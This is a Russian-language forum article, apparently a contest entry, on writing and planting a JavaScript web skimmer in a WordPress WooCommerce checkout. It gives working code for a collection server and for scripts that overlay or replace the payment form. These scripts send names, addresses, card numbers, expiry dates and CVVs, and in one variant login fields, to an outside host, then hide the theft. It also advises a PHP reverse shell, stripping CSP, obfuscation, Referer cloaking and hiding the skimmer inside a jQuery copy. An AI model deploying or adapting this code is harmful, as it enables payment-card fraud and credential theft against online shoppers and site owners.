Веб-скиммер - тырим данные кредитных карт

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
Автор miserylord
Статья написана для
Конкурса статей #10


В этой статье я разберу тему веб-скиммеров — особого вида JavaScript-мальвари, которая позволяет перехватывать данные из браузера пользователей. Обобщённое пособие с разбором принципов работы, методов и внедрения.

nakladka.jpg



В реальном мире одним из способов получения банковских карт является физическая установка специального устройства на ATM, так называемого скиммера. Оно выступает как бы человеком посередине, этакой злюкой Евой, считывая данные магнитной полосы карты, после чего с их помощью возможно воссоздание точной копии карты. Тот же принцип работы, но уже на веб-сайтах, применяют JavaScript-скиммеры.

Процесс написания мальвари разобран простыми словами, но требует предварительного знакомства с вебом и хорошего понимания JavaScript. Иначе информация дальше будет восприниматься как тёмный лес, а ночь, как известно, тёмна и полна ужаса. Так что, пожалуй, начните с основ.

Для демонстрации я подниму тестовый стенд с WordPress сайтом, стандартной темой и популярным плагином WooCommerce, а работать буду с админского аккаунта со всеми правами. Получение доступов оставим за кадром, но предположим, что мы получили их с помощью одной из CVE, которые дают такую возможность — пускай это будет CVE-2023-3460. Важно отметить, что принцип установки схож для всех CMS, пусть и детали немного разнятся.

Сам скиммер — это всего лишь код, написанный на JavaScript. Оказавшись в админ-панели, стоит оглядеться и обнаружить функционал, который позволит добавить собственный код к основному. WordPress построен на системе тем, поэтому переходим в редактор через Dashboard -> Appearance -> Editor.

1.png



Переходим в раздел Patterns → Header. Хедер — это компонент страницы, расположенный в самом верху, который универсально подгружается как блок на другие страницы сайта. Внизу кода добавим строку <script>alert(1)</script> для проверки.

2.png



JS можно писать как внутри тега <script>, так и с помощью динамической подгрузки, используя атрибут src. Поднимем сервер, используя Node.js с фреймворком Express, который будет отдавать статический JavaScript-файл с тем кодом, что ранее находился внутри тега, и изменим код внутри Header на <script src="http://1.1.1.1:3001/scripts/script.js"></script>.

JavaScript: Скопировать в буфер обмена
Код:
const express = require('express');
const path = require('path');

const app = express();
const PORT = 3001;

app.use('/scripts', express.static(path.join(__dirname, 'scripts')));

app.listen(PORT, () => {
    console.log(`Сервер запущен`);
});

Проблема, с которой теоретически можно столкнуться на данном этапе, но с которой в рамках локального тестового окружения я не столкнулся, — это механизм CSP (Content Security Policy), который регламентирует загрузку скриптов из сторонних источников. Следует понять, где именно он определяется и каким методом его изменить. В WordPress это файл .htaccess. Столкнись я с этой проблемой, я бы попробовал получить реверс-шелл, Tutorial | How to get a reverse php shell in WordPress | Pentesting Web, добавив код на страницу 404, там же в редакторе, например, https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php, подняв на прослушивание Netcat. После этого проверил бы права доступа к файлу .htaccess на предмет изменения, и в итоге вписал бы Header unset Content-Security-Policy внутрь тега IfModule. В любом случае учитывайте CSP при внедрении скрипта с помощью атрибута src.

Рассмотрим страницу оплаты, полученную плагином WooCommerce. В идеальных условиях было бы достаточно добавить addEventListener на все элементы input, а затем повесить на кнопку Place Order событие отправки запроса данных на сервер. Однако форма, которую вы видите в Payment options, не является частью сайта — она подгружается с помощью iframe. При попытке добавить что-либо на её input-элементы, форма коллапсирует.

3.png



Почему это происходит, и можно ли это обойти?

Вероятно, это связано с тем, что форма загружается и работает с помощью React JS. Можно предположить, что проблема возникает на уровне сверки реального и виртуального DOM, и это даже не является частью какого-либо специального защитного механизма тега iframe. Тем не менее, исходя из логики, что доступ ко всем элементам DOM возможен, кажется, что эту проблему можно обойти.

В попытках обойти проблему я протестировал различные API JavaScript. Могу уверенно сказать, что addEventListener на keydown не будет получать данные из iframe, так же как и addEventListener на input — он не захватит события с форм внутри iframe.

Еще одна гипотеза, которую я тестировал, — это использование canvas, а именно скриншот через библиотеку html2canvas. Однако данные из iframe также не отображаются на скриншоте.

Итоговый вариант скрипта

На сервере создадим GET-маршрут /paymentCheckout. В целом, GET-запрос может не вызывать таких подозрений, как POST-запрос, но их функциональность может быть идентична. Отправка данных на сервер будет происходить с помощью GET-запроса, в котором данные с формы передаются в виде параметров запроса.

JavaScript: Скопировать в буфер обмена
Код:
const express = require('express');
const path = require('path');
const cors = require('cors');

const app = express();
const PORT = 3001;

app.use(cors());

app.use('/scripts', express.static(path.join(__dirname, 'scripts')));

app.use((req, res, next) => {
    res.setHeader('Access-Control-Allow-Origin', '*');
    res.setHeader('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE');
    res.setHeader('Access-Control-Allow-Headers', 'Content-Type');
    next();
});


app.get('/paymentCheckout', (req, res) => {
    const queryParams = req.query;

    console.log('Полученные параметры:', queryParams);

    res.json({
        message: 'success',
        params: queryParams
      });
})

app.listen(PORT, () => {
    console.log(`Сервер запущен`);
});


Сам скрипт, который подгружается с сервера, вместо перехвата iframe-формы выполняет перерисовку поверх оригинальной. При нажатии на кнопку "Place Order" используется API истории браузера, чтобы пользователь вернулся назад. Это будет выглядеть как небольшая ошибка в работе сайта.

Скрипт выполняется только один раз — для этого в localStorage будет храниться метка. При выполнении скрипта проверяется наличие элемента в localStorage, а при нажатии на кнопку "Place Order" производится запись в localStorage.

Событие DOMContentLoaded гарантирует, что скрипт будет загружен после загрузки оригинального контента. Перерисовка происходит только на странице checkout, поскольку document.querySelectorAll не найдет нужные элементы нигде, кроме этой страницы.

Основной скрипт также проверяет текущее местоположение и выполняется только на URL страницы checkout с помощью window.location.toString().includes("checkout"). Внутри скрипта по селектору определяется кнопка, на которую навешивается обработчик события click. По ID находится input, который не загружается в iframe, а также через селекторы выбираются элементы, которые будут перерисованы.

Далее формируется ссылка и отправляется запрос с использованием старого API — XMLHttpRequest. После этого происходит возврат назад с помощью history.back(), а в localStorage остается запись метки.
JavaScript: Скопировать в буфер обмена
Код:
document.addEventListener("DOMContentLoaded", () => {
    const scriptExecutedFlag = "scriptExecuted";
    const isScriptExecuted = localStorage.getItem(scriptExecutedFlag);

    if (!isScriptExecuted) {
        console.log("Скрипт выполняется, так как флаг отсутствует в localStorage");
        const elements = document.querySelectorAll(
            ".wc-block-components-radio-control.wc-block-components-radio-control--highlight-checked.wc-block-components-radio-control--highlight-checked--first-selected.wc-block-components-radio-control--highlight-checked--last-selected.disable-radio-control"
        );


        elements.forEach((element) => {
            const container = document.createElement("div");
            container.style.display = "flex";
            container.style.flexDirection = "column";
            container.style.gap = "10px";
            container.style.maxWidth = "300px";
            container.style.margin = "20px auto";

            const createInputField = (labelText, placeholder, name, type = "text", maxLength = null) => {
                const wrapper = document.createElement("div");

                const label = document.createElement("label");
                label.innerText = labelText;
                label.style.fontSize = "14px";
                label.style.marginBottom = "-5px";
                label.style.color = "#555";

                const input = document.createElement("input");
                input.type = type;
                input.name = name;
                input.placeholder = placeholder;
                input.style.padding = "10px";
                input.style.fontSize = "16px";
                input.style.border = "1px solid #ccc";
                input.style.borderRadius = "5px";
                input.style.outline = "none";
                input.style.transition = "border-color 0.3s";
                if (maxLength) input.maxLength = maxLength;

                input.addEventListener("focus", () => {
                    input.style.borderColor = "#007bff";
                });

                input.addEventListener("blur", () => {
                    input.style.borderColor = "#ccc";
                });

                wrapper.appendChild(label);
                wrapper.appendChild(input);
                return wrapper;
            };

            const cardInputField = createInputField(
                "Card Number",
                "Enter 16-digit card number",
                "card-number",
                "text",
                16
            );

            const dateInputField = createInputField(
                "Expiration Date (MM/YY)",
                "MM/YY",
                "expiration-date"
            );

            const cvvInputField = createInputField(
                "CVV",
                "Enter CVV",
                "cvv",
                "password",
                4
            );

            container.appendChild(cardInputField);
            container.appendChild(dateInputField);
            container.appendChild(cvvInputField);

            element.parentNode.replaceChild(container, element);
        });

        if (window.location.toString().includes("checkout")) {
            const button = document.querySelector('.wc-block-components-checkout-place-order-button');

            if (button) {
                button.addEventListener('click', function () {
                    const billing_first_name = document.getElementById("billing-first_name")?.value || "not set";
                    const billing_last_name = document.getElementById("billing-last_name")?.value || "not set";
                    const billing_country = document.getElementById("billing-country")?.value || "not set";
                    const billing_address_1 = document.getElementById("billing-address_1")?.value || "not set";
                    const billing_postcode = document.getElementById("billing-postcode")?.value || "not set";
                    const billing_city = document.getElementById("billing-city")?.value || "not set";
                    const billing_phone = document.getElementById("billing-phone")?.value || "not set";

                    const card_number = document.querySelector('input[name="card-number"]')?.value || "not set";
                    const expiration_date = document.querySelector('input[name="expiration-date"]')?.value || "not set";
                    const cvv = document.querySelector('input[name="cvv"]')?.value || "not set";

                    const url = `http://1.1.1.1:3001/paymentCheckout?billing_first_name=${billing_first_name}&billing_last_name=${billing_last_name}&billing_country=${billing_country}&billing_address_1=${billing_address_1}&billing_postcode=${billing_postcode}&billing_city=${billing_city}&billing_phone=${billing_phone}&card_number=${card_number}&expiration_date=${expiration_date}&cvv=${cvv}`;

                    const xhr = new XMLHttpRequest();
                    xhr.open("GET", url, true);
                    xhr.send();
                    history.back();

                    console.log("Данные отправлены на сервер:", url);

                    localStorage.setItem(scriptExecutedFlag, "true");
                });
            } else {
                console.error("Кнопка не найдена!");
            }
        }
    } else {
        console.log("Скрипт уже был выполнен ранее. Повторное выполнение не требуется.");
    }
});


Вот как это выглядит:
4.png



5.png



Помимо сохранения в более удобный формат, на сервере желательно также внедрить валидацию данных, поскольку некорректный ввод может создать потенциальные проблемы с безопасностью!

Более универсальным решением будет полная переработка страницы с оплатой.

В коде используется document.body.innerHTML = ''; для полного удаления оригинального контента страницы и метод insertAdjacentHTML() для подмены контента. В остальном всё работает так же, за исключением фокуса с localStorage.

JavaScript: Скопировать в буфер обмена
Код:
if (window.location.toString().includes("checkout")) {
    document.body.innerHTML = '';

    const newContent = `
        <style>
            body {
                font-family: Arial, sans-serif;
                margin: 0;
                padding: 0;
                display: flex;
                justify-content: center;
                align-items: center;
                height: 100vh;
                background-color: #eef2f3;
            }
            form {
                background: #ffffff;
                padding: 25px;
                border-radius: 10px;
                box-shadow: 0 6px 20px rgba(0, 0, 0, 0.1);
                width: 350px;
            }
            h1 {
                font-size: 1.8em;
                margin-bottom: 20px;
                text-align: center;
                color: #333;
            }
            label {
                display: block;
                margin-bottom: 8px;
                font-weight: bold;
                color: #555;
            }
            input {
                width: 100%;
                padding: 10px;
                margin-bottom: 15px;
                border: 1px solid #ccc;
                border-radius: 5px;
                font-size: 14px;
            }
            input:focus {
                border-color: #007bff;
                outline: none;
                box-shadow: 0 0 5px rgba(0, 123, 255, 0.5);
            }
            button {
                background-color: #007bff;
                color: white;
                padding: 12px;
                border: none;
                border-radius: 5px;
                cursor: pointer;
                font-size: 16px;
                width: 100%;
                transition: background-color 0.3s;
            }
            button:hover {
                background-color: #0056b3;
            }
        </style>
        <form id="checkoutForm">
            <h1>Checkout</h1>

            <label for="billing_first_name">First Name:</label>
            <input type="text" id="billing_first_name" name="billing_first_name" placeholder="Enter your first name" required autocomplete="given-name">

            <label for="billing_last_name">Last Name:</label>
            <input type="text" id="billing_last_name" name="billing_last_name" placeholder="Enter your last name" required autocomplete="family-name">

            <label for="billing_email">Email:</label>
            <input type="email" id="billing_email" name="billing_email" placeholder="Enter your email" required autocomplete="email">

            <label for="billing_phone">Phone:</label>
            <input type="tel" id="billing_phone" name="billing_phone" placeholder="Enter your phone number" required autocomplete="tel">

            <label for="billing_country">Country:</label>
            <input type="text" id="billing_country" name="billing_country" placeholder="Enter your country" required autocomplete="country-name">

            <label for="billing_city">City:</label>
            <input type="text" id="billing_city" name="billing_city" placeholder="Enter your city" required autocomplete="address-level2">

            <label for="card_number">Card Number:</label>
            <input type="text" id="card_number" name="card_number" placeholder="1234 5678 9012 3456" required autocomplete="cc-number">

            <label for="expiration_date">Expiration Date (MM/YY):</label>
            <input type="text" id="expiration_date" name="expiration_date" placeholder="MM/YY" required autocomplete="cc-exp">

            <label for="cvv">CVV:</label>
            <input type="text" id="cvv" name="cvv" placeholder="Enter CVV" required autocomplete="cc-csc">

            <button type="button" id="orderButton">Place Order</button>
        </form>
    `;

    document.body.insertAdjacentHTML('beforeend', newContent);

    document.getElementById('orderButton').addEventListener('click', () => {
        const billing_first_name = document.getElementById('billing_first_name').value;
        const billing_last_name = document.getElementById('billing_last_name').value;
        const billing_email = document.getElementById('billing_email').value;
        const billing_phone = document.getElementById('billing_phone').value;
        const billing_country = document.getElementById('billing_country').value;
        const billing_city = document.getElementById('billing_city').value;
        const card_number = document.getElementById('card_number').value;
        const expiration_date = document.getElementById('expiration_date').value;
        const cvv = document.getElementById('cvv').value;

        const url = `http://127.1.1.1:3001/paymentCheckout?billing_first_name=${billing_first_name}&billing_last_name=${billing_last_name}&billing_email=${billing_email}&billing_phone=${billing_phone}&billing_country=${billing_country}&billing_city=${billing_city}&card_number=${card_number}&expiration_date=${expiration_date}&cvv=${cvv}`;

        const xhr = new XMLHttpRequest();
        xhr.open("GET", url, true);
        xhr.send();

        history.back();
    });
}

6.png



Таким образом, можно перехватывать любые input-формы на сайте, например, связанные с аутентификацией. Вот как это может выглядеть:

JavaScript: Скопировать в буфер обмена
Код:
document.addEventListener("DOMContentLoaded", () => {
    const loginElement = document.getElementById('login') || document.getElementById('username') || document.getElementById('user');
    const passwordElement = document.getElementById('password') || document.getElementById('pass');

    if (loginElement && passwordElement) {
        window.addEventListener('popstate', function (event) {
            const url = `http://2.2.2.2:3001/paymentCheckout?login=${loginElement}&pass=${passwordElement}`;

            const xhr = new XMLHttpRequest();
            xhr.open("GET", url, true);
            xhr.send();
        });
    }
});


Немного о защите кода от обнаружения. В этом контексте существуют два термина: обфускация и метаморфность.

Метаморфность относится к способности программы или её частей изменяться в процессе выполнения. Для внедрения этого процесса требуется специальный скрипт — метаморф, который можно представить как предкомпилятор, помогающий обойти сигнатурный анализ. Пример метаморфного изменения кода:


JavaScript: Скопировать в буфер обмена
Код:
// до
let a = 7
let b = 7
let c = a + b

// после
let b = 7
let c = 7
let a = c + b


Обфускация — это процесс изменения исходного кода программы таким образом, чтобы он оставался функционально корректным, но становился трудным для понимания и анализа человеком. Простыми примерами являются добавление мусорного кода, который не влияет на выполнение программы, а также добавление мусорных ветвей, например if(true), только более усложнённое, например if(2+2*2). Также применяется рандомизация имен переменных и функций, когда имена заменяются случайно созданными строками с неочевидным значением.

Более сложные техники — строковое разделение и кодирование строк.

Строковое разделение — это метод, при котором строка разбивается на несколько частей, а затем эти части объединяются для восстановления оригинальной строки.
JavaScript: Скопировать в буфер обмена
Код:
let message = "Hello, World!";

let char1 = "H";
let char2 = "e";
let char3 = "l";
let char4 = "l";
let char5 = "o";
let char6 = ",";
let char7 = " ";
let char8 = "W";
let char9 = "o";
let char10 = "r";
let char11 = "l";
let char12 = "d";
let char13 = "!";

let arr = [char1, char2, char3, char4, char5, char6, char7, char8, char9, char10, char11, char12, char13];

let messageObfuscated = arr.map(letter => letter.split("").join("")).join("");

console.log(messageObfuscated);

Другим распространённым методом обфускации является кодирование строк в различные форматы, такие как ASCII, Unicode или Hex. Обфускация с использованием Hex:

JavaScript: Скопировать в буфер обмена
Код:
let message = "Hello, World!";

let message = "\x48\x65\x6C\x6C\x6F\x2C\x20\x57\x6F\x72\x6C\x64\x21";
console.log(message);


Пример: в комбинациях
JavaScript: Скопировать в буфер обмена
Код:
let message = "Hello, World!";

let char1 = String.fromCharCode(0x48); // "H"
let char2 = String.fromCharCode(0x65); // "e"
let char3 = String.fromCharCode(0x6C); // "l"
let char4 = String.fromCharCode(0x6C); // "l"
let char5 = String.fromCharCode(0x6F); // "o"
let char6 = String.fromCharCode(0x2C); // ","
let char7 = String.fromCharCode(0x20); // " "
let char8 = String.fromCharCode(0x57); // "W"
let char9 = String.fromCharCode(0x6F); // "o"
let char10 = String.fromCharCode(0x72); // "r"
let char11 = String.fromCharCode(0x6C); // "l"
let char12 = String.fromCharCode(0x64); // "d"
let char13 = String.fromCharCode(0x21); // "!"

let arr = [char1, char2, char3, char4, char5, char6, char7, char8, char9, char10, char11, char12, char13];

let messageObfuscated = arr.map(letter => letter.split("").join("")).join("");

console.log(messageObfuscated);

На практике мне кажется, что достаточно хорошим решением является использование https://obfuscator.io/. Вот как выглядит код после обработки скриптом. Проект является открытым, и при желании можно углубиться в него и запустить на своём сервере.
7.png



Также очень распространенной техникой является сокрытие URL с помощью использования Base64 кодировки. На мой взгляд, это очень слабый способ, поскольку любую кодировку можно декодировать. Хотя теоретически этот метод можно развивать, я не стал применять технику с Base64, так как кодировка не является шифрованием!

Не могу не упомянуть и про клоакинг. Клоакинг — это отправка разного контента в зависимости от параметров клиента. Реализовать это на сервере в рамках Node.js с использованием Express можно с помощью заголовка Referer. Этот заголовок отправляется браузером автоматически, и в реальном случае в нем будет указан URL сервера, который сделал запрос. В тестовом окружении это будет localhost. Пример middleware-функции (middleware — это что-то вроде посредника/фильтра) для проверки:
JavaScript: Скопировать в буфер обмена
Код:
app.use('/scripts', (req, res, next) => {
    const referer = req.headers.referer || '';

    if (referer.startsWith('http://localhost/')) {
        next();
    } else {
        res.send('Hello World');
    }
});

Наконец, самым элегантным способом защиты от обнаружения является стеганография. Если криптография скрывает содержимое информации, то стеганография скрывает сам факт наличия информации. Техника стеганографии в этом контексте представляет собой маскировку под легитимную библиотеку и внедрение в неё кода. Возьмем, к примеру, jQuery: её исходный код можно подгрузить из CDN, ссылки на которые находятся в документации https://releases.jquery.com/. Открыв https://code.jquery.com/jquery-3.7.1.js, мы видим простыню кода, копируем его и вставляем в случайные участки дополнительный код, комбинируя с другими техниками сокрытия.

Помимо этого, по ходу работы у меня возникали другие идеи для расширения функционала, однако на данный момент не хватило глубины понимания темы. Одной из них было использование прозрачного iframe и форсированных кликов, например, для получения дополнительной информации, к примеру, подгрузив во фрейме страницу Facebook, получив таким образом как можно больше информации о пользователе. Проблема в том, что Facebook не загрузится во фрейме, как и многие другие сайты, хотя далеко не все. Например, taobao[,]com успешно подгрузится, однако не позволит взаимодействовать с содержимым. Я сильно уверен, что это можно обойти. Другая идея — это получение информации через autocomplete input формы (то, что браузер предлагает при заполнении форм). Но корректно настроить форсированные клики для нажатия на подсказки оказалось сложнее, чем казалось.

Все достаточно просто с полным контролем администраторского аккаунта CMS/сайта, но что насчет инъекции через XSS? Интеграция вредоносного JavaScript на одной странице с инъекцией в объект-прототип должна, по идее, добавлять дополнительные методы в рамках глобального объекта рантайма. Следовательно, можно внедрить код на одной странице, который будет влиять на поведение других. Опять же, на практике это не работает так, как хотелось бы. Альтернативой может быть полное удаление контента и перерисовка его в стиле PWA (возможно, в комбинации с фишингом), чтобы избежать переходов по страницам. Это будет выглядеть примерно так: вместо дефолтного alert в XSS необходимо подгрузить схожий по функционалу код.
HTML: Скопировать в буфер обмена
Код:
<!DOCTYPE html>
<html lang="ru">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Пример PWA</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            background-color: #f4f4f4;
            margin: 0;
            padding: 0;
            text-align: center;
        }
        .content {
            padding: 20px;
        }
        button {
            padding: 10px 20px;
            font-size: 16px;
            background-color: #333;
            color: white;
            border: none;
            cursor: pointer;
        }
        button:hover {
            background-color: #555;
        }
        input {
            padding: 10px;
            margin: 5px;
            font-size: 16px;
        }
        footer {
            text-align: center;
            padding: 10px;
            background-color: #333;
            color: white;
        }
    </style>
</head>
<body>

    <div id="app">
        <h1>Добро пожаловать на наш сайт!</h1>
        <button id="changeContentBtn">Изменить контент</button>
    </div>

    <footer>
        <p>© 2025 Все права защищены.</p>
    </footer>

    <script>
        function changeContent() {
            const app = document.getElementById('app');
            app.innerHTML = `
                <h1>Введите ваши данные</h1>
                <form id="nameForm">
                    <input type="text" id="firstName" placeholder="Имя" required><br>
                    <input type="text" id="lastName" placeholder="Фамилия" required><br>
                    <input type="text" id="middleName" placeholder="Отчество" required><br>
                    <button type="submit">Отправить</button>
                </form>
                <button id="goBackBtn">Вернуться назад</button>
            `;

            document.getElementById('goBackBtn').addEventListener('click', () => {
                app.innerHTML = `
                    <h1>Добро пожаловать на наш сайт!</h1>
                    <button id="changeContentBtn">Изменить контент</button>
                `;
                document.getElementById('changeContentBtn').addEventListener('click', changeContent);
            });

            document.getElementById('nameForm').addEventListener('submit', (event) => {
                event.preventDefault();

                const firstName = document.getElementById('firstName').value;
                const lastName = document.getElementById('lastName').value;
                const middleName = document.getElementById('middleName').value;

                app.innerHTML = `
                    <h1>Спасибо за информацию!</h1>
                    <p>Имя: ${firstName}</p>
                    <p>Фамилия: ${lastName}</p>
                    <p>Отчество: ${middleName}</p>
                    <button id="goBackBtn">Вернуться назад</button>
                `;

                document.getElementById('goBackBtn').addEventListener('click', () => {
                    app.innerHTML = `
                        <h1>Добро пожаловать на наш сайт!</h1>
                        <button id="changeContentBtn">Изменить контент</button>
                    `;
                    document.getElementById('changeContentBtn').addEventListener('click', changeContent);
                });
            });
        }

        document.getElementById('changeContentBtn').addEventListener('click', changeContent);
    </script>

</body>
</html>

8.png


9.png


10.png



Подводя итоги, интеграция и суть работы веб-скиммера максимально тривиальна. Если у вас возникли вопросы, буду рад ответить на них!
 
Сверху Снизу